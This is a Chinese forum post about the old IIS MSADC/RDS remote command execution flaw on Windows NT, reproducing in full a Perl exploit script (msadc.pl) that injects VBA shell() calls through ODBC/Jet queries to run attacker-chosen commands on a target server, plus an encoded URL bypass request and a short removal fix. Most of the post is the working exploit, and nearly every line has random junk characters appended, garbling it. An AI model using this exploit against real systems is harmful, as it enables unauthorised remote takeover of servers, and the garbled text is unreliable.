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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) vhdT"7`U  
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涉及程序: f+J<sk  
Microsoft NT server ;V`~'357%  
C %y AMQ  
描述: Of Y>~d  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 N',]WZ}  
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详细: N2=gSEY  
如果你没有时间读详细内容的话,就删除: / ijj;9EB  
c:\Program Files\Common Files\System\Msadc\msadcs.dll oP_'0h0 X  
有关的安全问题就没有了。 e)>Z&e,3  
SIzW3y[  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 8V^gOUF.  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 En-eG37 l  
关于利用ODBC远程漏洞的描述,请参看: =DvnfT<  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 3E:wyf)i"  
A+NLo[swwu  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 D",ZrwyJ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp J'Gn M?M  
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这里不再论述。 b8Y1.y"#  
D)f hk!<  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: (9@6M 8A  
1%EIP -z  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset vpTS>!i  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! d;H1B/  
# 1I<qK  
&+ JV\  
#将下面这段保存为txt文件,然后: "perl -x 文件名" bWG}>{fj  
*>zr'Tt,W  
#!perl O. @_2  
# S\s1}`pNm  
# MSADC/RDS 'usage' (aka exploit) script l% K9Ke  
# FpCj$y~3  
# by rain.forest.puppy vQYd!DSh  
# Xy=|qu  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me rsy'ZVLUj  
# beta test and find errors! n"d~UV^Uw  
NTls64AS.  
use Socket; use Getopt::Std; 4|7L26,]5  
getopts("e:vd:h:XR", \%args); N{ ;{<C9Z  
Y |n_Ro^~  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 1,9RfYV  
Y Q3%vH5#y  
if (!defined $args{h} && !defined $args{R}) { HFvhrG  
print qq~ nEyP Nm )  
Usage: msadc.pl -h <host> { -d <delay> -X -v } D("['`{  
-h <host> = host you want to scan (ip or domain) FHqa|4Ie  
-d <seconds> = delay between calls, default 1 second '+Ts IJh  
-X = dump Index Server path table, if available C&K%Q3V  
-v = verbose k7f[aM5]  
-e = external dictionary file for step 5 XNd:x {  
%nVnK6[sox  
Or a -R will resume a command session H\ 8.T:>  
4- N>#  
~; exit;} I)O%D3wfMW  
jZe]zdml  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; p"JITH :G  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} rOS fDv  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} u;J9aKD  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); R~[ u|EC}  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}  FxD\F  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } uWvl<{2  
nakhepLN  
if (!defined $args{R}){ $ret = &has_msadc; Nbuaw[[iz  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} h9&<-k  
0XvMaQXQF  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" &%C4rAd2  
. "cmd /c "; M\>y&'J-  
$in=<STDIN>; chomp $in; !f yE Hk  
$command="cmd /c " . $in ; ~)Ny8Dh  
OCY7Bls4  
if (defined $args{R}) {&load; exit;}  2gb49y~  
ZLxe$.V_  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; hDjsGB|Fz  
&try_btcustmr; _OHz6ag  
2m/1:5  
print "\nStep 2: Trying to make our own DSN..."; &=K-~!?  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Z:)\j.  
7Ja^d-F7  
print "\nStep 3: Trying known DSNs..."; ~u/Enl7\-  
&known_dsn; jKM-(s!(  
at ]Lz_\  
print "\nStep 4: Trying known .mdbs..."; _f{'&YhUU  
&known_mdb; 12;" K?7{  
dcYUw]  
if (defined $args{e}){ ]'DtuT?Z  
print "\nStep 5: Trying dictionary of DSN names..."; 6aXsRhQ~  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ,R3D  
d\'M ~VQ  
print "Sorry Charley...maybe next time?\n"; rS{Rzs^@  
exit; b> &kL  
FV!  
############################################################################## _H<ur?G  
-Y2h vC  
sub sendraw { # ripped and modded from whisker C(7LwV  
sleep($delay); # it's a DoS on the server! At least on mine... Hg*6I%D[So  
my ($pstr)=@_; xGPt5l<M&  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || M@ ! {m  
die("Socket problems\n"); (*^_ wq-;  
if(connect(S,pack "SnA4x8",2,80,$target)){ Kc}FMu  
select(S); $|=1; ;'p X1T  
print $pstr; my @in=<S>; /N{xFt/?  
select(STDOUT); close(S); eWW\m[k]}  
return @in; a:H}c9 $%  
} else { die("Can't connect...\n"); }} JY_+p9KfyQ  
T[~ak"M  
############################################################################## QJvA  
*`=V"nXw$|  
sub make_header { # make the HTTP request lf[ (  
my $msadc=<<EOT z^ KrR  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ?N&"WL^|  
User-Agent: ACTIVEDATA c3g\*)Jz"F  
Host: $ip X;6&:%ZL@^  
Content-Length: $clen g>T'R Vb  
Connection: Keep-Alive [[LCEw  
+w%MwPC7`  
ADCClientVersion:01.06 ){L`hQ*=w  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 v|CRiwx  
 UTHGjE  
--!ADM!ROX!YOUR!WORLD! V)_mo/D!D  
Content-Type: application/x-varg /8 Ca8Ju  
Content-Length: $reqlen f\2'/g}6a  
'~<D[](/F  
EOT y [.0L!C {  
; $msadc=~s/\n/\r\n/g; q J@XVN4   
return $msadc;} "<txg%j\J  
_N.ZpKVu  
############################################################################## pU<->d;->  
r#d~($[93  
sub make_req { # make the RDS request (LkGBnXE  
my ($switch, $p1, $p2)=@_; rF>:pS,`&  
my $req=""; my $t1, $t2, $query, $dsn; C4#'`8E  
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if ($switch==1){ # this is the btcustmr.mdb query CdC&y}u  
$query="Select * from Customers where City=" . make_shell(); ){5  $8  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Rb',"` 7  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}  ceyZ4M  
Mpb|qGi!  
elsif ($switch==2){ # this is general make table query mWfzL'*  
$query="create table AZZ (B int, C varchar(10))"; xud =(HLl  
$dsn="$p1";} j]M $>2;  
eiJ $}\qJL  
elsif ($switch==3){ # this is general exploit table query 7z5AI!s_  
$query="select * from AZZ where C=" . make_shell(); 83OOM;'  
$dsn="$p1";} !C&}e8M|eX  
l2X'4_d  
elsif ($switch==4){ # attempt to hork file info from index server ]* ':  
$query="select path from scope()"; EX|Wd|aK  
$dsn="Provider=MSIDXS;";} U43PHcv_  
+p>tO\mo  
elsif ($switch==5){ # bad query $:{uF#  
$query="select"; AW%^Xt  
$dsn="$p1";} ]M-j_("&  
z;2kKQZm  
$t1= make_unicode($query); NIQNzq?a^  
$t2= make_unicode($dsn); bTb|@  
$req = "\x02\x00\x03\x00"; 8! pfy"  
$req.= "\x08\x00" . pack ("S1", length($t1)); j@&F[r  
$req.= "\x00\x00" . $t1 ; D}&U3?g=  
$req.= "\x08\x00" . pack ("S1", length($t2)); tb"UGa  
$req.= "\x00\x00" . $t2 ; cK1r9ED|  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Bd31> %6  
return $req;} H+;>>|+:~  
#q6jE  
############################################################################## BJB'o  
?R#-gvX%  
sub make_shell { # this makes the shell() statement m!tB;:6  
return "'|shell(\"$command\")|'";} Go= MG:`  
3l-8TR  
############################################################################## <;=?~QK%-  
W(9-XlYKE  
sub make_unicode { # quick little function to convert to unicode QZYD;&iY&  
my ($in)=@_; my $out; Nd%,V  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } .?@$Rd2@W  
return $out;} j_j~BXhIS  
i%:oO KI  
############################################################################## s1?N&t8c  
}c:s+P+/  
sub rdo_success { # checks for RDO return success (this is kludge) )xoIH{  
my (@in) = @_; my $base=content_start(@in); xbvZ7g^  
if($in[$base]=~/multipart\/mixed/){ ?FA} ;?v  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} J XPE9uH  
return 0;} BwEO2a{  
HX7"w   
############################################################################## 1\$xq9  
OtBVfA:[  
sub make_dsn { # this makes a DSN for us R]/3`X9!d>  
my @drives=("c","d","e","f"); `!K(P- yB?  
print "\nMaking DSN: "; Xt_8=Q  
foreach $drive (@drives) { 9NBFG~)|l[  
print "$drive: "; 9h9 jS~h  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 6`J*{%mP  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" bd5\Rt  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); pi 7W8y  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; :uSo 2d  
return 0 if $2 eq "404"; # not found/doesn't exist v1oq[+  
if($2 eq "200") { si.ZTG9m  
foreach $line (@results) { |~Z.l  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} )CD4k:bm  
} return 0;} (1^AzE%U+Z  
3-`IMN n!  
############################################################################## ; {iX_%  
NhU~'k  
sub verify_exists { h.l^f>, /  
my ($page)=@_; [U5[;BNRD  
my @results=sendraw("GET $page HTTP/1.0\n\n"); !9_HZ(W&  
return $results[0];} HQCxO?  
}~DlOvsq  
############################################################################## 8iGS=M  
|D~mLs;&  
sub try_btcustmr { RXxi7^ U  
my @drives=("c","d","e","f"); I} q2)@  
my @dirs=("winnt","winnt35","winnt351","win","windows"); @@-n/9>vs  
iP]KV.e'/C  
foreach $dir (@dirs) { - 0R5g3^*/  
print "$dir -> "; # fun status so you can see progress ;6KcX\g-  
foreach $drive (@drives) { "v@Y[QI  
print "$drive: "; # ditto lm i,P-Q  
$reqlen=length( make_req(1,$drive,$dir) ) - 28;  z"Miy  
$reqlenlen=length( "$reqlen" ); k Pi%RvuQ  
$clen= 206 + $reqlenlen + $reqlen; U0 nSI  
-GCC  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); MxQhkY-=  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Ye% e!  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ZVs]_`(+  
{p[{5k 0  
############################################################################## WXV(R,*Tc  
c @7d4Jz  
sub odbc_error { %IL] Wz<  
my (@in)=@_; my $base; aMe]6cWHV>  
my $base = content_start(@in); z$4g9  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ,R#pQ 4  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qIS9.AL  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; K|,P  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $P&{DOiKS  
return $in[$base+4].$in[$base+5].$in[$base+6];} [% \>FT[  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; (0dy,GRN  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . X'Q?Mh  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ]Wr2 IM  
c<bV3,  
############################################################################## U*(/eEtd-  
>HNBTc=~t  
sub verbose { Ne#FBRu5  
my ($in)=@_; )eIC5>#.  
return if !$verbose; `@TWZ%f6  
print STDOUT "\n$in\n";} d9e_slx  
Kh&W\\K  
############################################################################## 'K&^y%~py,  
VRU"2mQ.P6  
sub save { d!0iv'^t  
my ($p1, $p2, $p3, $p4)=@_; 8?LsV<  
open(OUT, ">rds.save") || print "Problem saving parameters...\n";  >M~1{  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; )Q= EmZbJz  
close OUT;} [$M=+YRHMW  
|y1O M  
############################################################################## !ij R  
0Xo>f"2<f  
sub load { ;E:vsVK  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; J>Pc@,y  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); PL} Wu=  
@p=<IN>; close(IN); _E'F   
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); A.tXAOM(VW  
$target= inet_aton($ip) || die("inet_aton problems"); 7>.d*?eao\  
print "Resuming to $ip ..."; 3E9 )~$  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 2qd5iOhX+  
if($p[1]==1) { [x{z}rYH  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ]bxBo  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ncTPFv H5  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); wN NXUW  
if (rdo_success(@results)){print "Success!\n";} Znr6,[U+q  
else { print "failed\n"; verbose(odbc_error(@results));}} wnUuoX(  
elsif ($p[1]==3){ Ig&H0S  
if(run_query("$p[3]")){ WbJ|]}hJ\  
print "Success!\n";} else { print "failed\n"; }} pPL)!=o!  
elsif ($p[1]==4){ abMB-  
if(run_query($drvst . "$p[3]")){ @}; vl  
print "Success!\n"; } else { print "failed\n"; }} \ SCi\j/a(  
exit;} '3<T~t  
Z9wKjxu+  
############################################################################## 'h} (>%  
w'[JfMuP  
sub create_table { o8_))  
my ($in)=@_; W(5XcP(  
$reqlen=length( make_req(2,$in,"") ) - 28; T<? (KW  
$reqlenlen=length( "$reqlen" ); yz}ik^T  
$clen= 206 + $reqlenlen + $reqlen; OSoIH`t A  
my @results=sendraw(make_header() . make_req(2,$in,"")); LV2#w_^I  
return 1 if rdo_success(@results); >0F)^W?  
my $temp= odbc_error(@results); verbose($temp); ncGt-l<9  
return 1 if $temp=~/Table 'AZZ' already exists/; R7\T.;8+  
return 0;} Cv[_N%3[  
J.;!l   
############################################################################## OQ(w]G0LP  
+Vv+<M  
sub known_dsn { l bs0i  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 5Ve`j,`=<  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", hGU  m7  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", cN%  r\  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 1;v,rs M  
@7HHi~1JK  
foreach $dSn (@dsns) { F8H4R7 8>;  
print "."; 8:t!m>(*  
next if (!is_access("DSN=$dSn")); G&Fe2&5!w  
if(create_table("DSN=$dSn")){ rU4;yy*b  
print "$dSn successful\n"; -7Bg5{FA  
if(run_query("DSN=$dSn")){ &?[g8A  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { #| pn,/  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ^>wlj  
&x?m5%^l  
############################################################################## _D 9/,n$  
p40;@gUug  
sub is_access { *@I/TX'\rY  
my ($in)=@_; >:Y"DX-  
$reqlen=length( make_req(5,$in,"") ) - 28; Q~R%|Q{&  
$reqlenlen=length( "$reqlen" ); FEH+ PKSc  
$clen= 206 + $reqlenlen + $reqlen; |)VNf .aJZ  
my @results=sendraw(make_header() . make_req(5,$in,"")); Qli#=0{`  
my $temp= odbc_error(@results); XX7zm_>+  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); C'~E q3  
return 0;} {x,d9I  
d\ I6Wn  
############################################################################## ~xLo0EV "  
oRo[WQla  
sub run_query { mE\)j*Nnv  
my ($in)=@_; mzRH:HgN?  
$reqlen=length( make_req(3,$in,"") ) - 28; 63E)RR_Lh  
$reqlenlen=length( "$reqlen" ); 2c*w{\X  
$clen= 206 + $reqlenlen + $reqlen; 6E@TcN~ ,!  
my @results=sendraw(make_header() . make_req(3,$in,"")); dVMduo  
return 1 if rdo_success(@results); S awf]/  
my $temp= odbc_error(@results); verbose($temp); Wr3z%1  
return 0;} P b-4$n2c  
=;"eZ  
############################################################################## D\^mh{q(  
`]`S"W7&  
sub known_mdb { U?%T~!  
my @drives=("c","d","e","f","g"); >*MGF=.QG  
my @dirs=("winnt","winnt35","winnt351","win","windows"); HV&i! M@T  
my $dir, $drive, $mdb; U5 ia|V  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; XuoyB{U  
;V?3Hwl  
# this is sparse, because I don't know of many 2FN E ;y(  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Cxd^i  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", h ,\5C/  
"\\system32\\certmdb.mdb", )[ QT ?;  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% q eDXG  
5O(U1 *  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Nwj M=GG  
"\\cfusion\\cfapps\\forums\\forums_.mdb", u4tv= +jh  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", b@S~ =  
"\\cfusion\\cfapps\\security\\realm_.mdb", 7{tU'`P>  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", W|Cs{rBc?  
"\\cfusion\\database\\cfexamples.mdb", j #~ S"t  
"\\cfusion\\database\\cfsnippets.mdb", ov<vSc<u  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", O7]kcA  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", nx(jYXVT  
"\\cfusion\\brighttiger\\database\\cleam.mdb", T[evh]koB  
"\\cfusion\\database\\smpolicy.mdb", C#V_Gb  
"\\cfusion\\database\cypress.mdb", }uwZS=pw  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 3*T/ 7\  
"\\website\\cgi-win\\dbsample.mdb", U2)?[C1q{  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", g"~`\ xhx  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" EQe$~}[  
); #these are just Sd F+b+P]  
foreach $drive (@drives) { d\R "?Sg  
foreach $dir (@dirs){ "/G] M&  
foreach $mdb (@sysmdbs) { l)e6*sDZ,  
print "."; 6?ky~CV  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Z;z,dw  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; m 7S`u  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 27i-B\r  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; l_s#7.9$  
} else { print "Something's borked. Use verbose next time\n"; }}}}} x~i\*Ox^  
DS+BX`i%#p  
foreach $drive (@drives) { HVdB*QEH  
foreach $mdb (@mdbs) { xS(VgP&YGO  
print "."; d}aMdIF!e  
if(create_table($drv . $drive . $dir . $mdb)){ G6}!PEwM  
print "\n" . $drive . $dir . $mdb . " successful\n"; # 0d7  
if(run_query($drv . $drive . $dir . $mdb)){ <Mndr 8 H  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ay =B<|!  
} else { print "Something's borked. Use verbose next time\n"; }}}} 'C=(?H)M  
} s",G w]8  
@Gw.U>"!C  
############################################################################## ]XcWGQv~  
a ]:xsJ~  
sub hork_idx { ?\I@w4  
print "\nAttempting to dump Index Server tables...\n"; 6"[J[7up  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 0nvT}[\H*  
$reqlen=length( make_req(4,"","") ) - 28; '0^lMQMg  
$reqlenlen=length( "$reqlen" ); ly69:TR7I  
$clen= 206 + $reqlenlen + $reqlen; 'pyIMB?x  
my @results=sendraw2(make_header() . make_req(4,"",""));  od$$g(  
if (rdo_success(@results)){ F >H\F@Wl  
my $max=@results; my $c; my %d; Wv%F^(R7  
for($c=19; $c<$max; $c++){ DQ}&J  
$results[$c]=~s/\x00//g; o=RxQk1N  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; n!sOKw  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; qC=9m[MI  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 37biRXqLH  
$d{"$1$2"}="";} aTfc>A;  
foreach $c (keys %d){ print "$c\n"; } <I*N=;7  
} else {print "Index server doesn't seem to be installed.\n"; }} g\9&L/xDN  
m7`S@qG  
############################################################################## )6BySk  
Lxn-M5RPQ  
sub dsn_dict { mG1!~}[  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); GPizR|}h  
while(<IN>){ ~$ Po3]{s  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; E^Ch;)j|  
next if (!is_access("DSN=$dSn")); M;W&#Fz%  
if(create_table("DSN=$dSn")){ 03A QB;.  
print "$dSn successful\n"; 3s?ZyQy  
if(run_query("DSN=$dSn")){ KYyoN  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { GDs/U1[*  
print "Something's borked. Use verbose next time\n";}}} r"7 PSJ  
print "\n"; close(IN);} tJ* /5k &  
Q E pCU)  
############################################################################## Xg l %2'  
Q,:h`%V  
sub sendraw2 { # ripped and modded from whisker ?&!!(dWFH  
sleep($delay); # it's a DoS on the server! At least on mine... W9{;HGWS  
my ($pstr)=@_;  ^Y!$WP  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Q"Exmn3p  
die("Socket problems\n"); }8ESp3~e_  
if(connect(S,pack "SnA4x8",2,80,$target)){ 6kMEm)YjT  
print "Connected. Getting data"; oKr= ]p  
open(OUT,">raw.out"); my @in; _dECAk &b  
select(S); $|=1; print $pstr; C8i4z  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} aK(e%Ed t"  
close(OUT); select(STDOUT); close(S); return @in; QpiDBJCL  
} else { die("Can't connect...\n"); }} SmRFxqtN  
A/&u /?*C  
############################################################################## gK"(;Jih$  
,-kz \N@.  
sub content_start { # this will take in the server headers J*zQ8\f=}  
my (@in)=@_; my $c; uhv_'Q  
for ($c=1;$c<500;$c++) { Z"KrirZ  
if($in[$c] =~/^\x0d\x0a/){ :^qUr`)  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } tR 4+]K  
else { return $c+1; }}} O'(D:D?  
return -1;} # it should never get here actually s'd\"WaQV  
6;@:/kl t  
############################################################################## YE:5'@Z  
J0YNzC4  
sub funky { JaR!9GVN7  
my (@in)=@_; my $error=odbc_error(@in); 1D2RhM%  
if($error=~/ADO could not find the specified provider/){ K{9Vyt9,$  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; >L8 & 6aU  
exit;} N/b$S@  
if($error=~/A Handler is required/){ ~eS/gF?  
print "\nServer has custom handler filters (they most likely are patched)\n"; a2]>R<M  
exit;} il"pKQF  
if($error=~/specified Handler has denied Access/){  R7;X  
print "\nServer has custom handler filters (they most likely are patched)\n"; |Bv,*7i&  
exit;}} EP90E^v^  
In;P33'p  
############################################################################## i5_l//]  
O;&5> W,Z  
sub has_msadc { I.>8p]X  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); X)= m4\R  
my $base=content_start(@results); pc QkJ F  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); jwuSne  
return 0;} {9) HB:  
{%RwZ'  
######################## ooCfr?E  
~ 588md :  
+.rE|)BPy  
解决方案: qv >l  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Y4lNxvY  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 0QW;=@)d  
kw7E<aF!  
拿出来充数 哈哈
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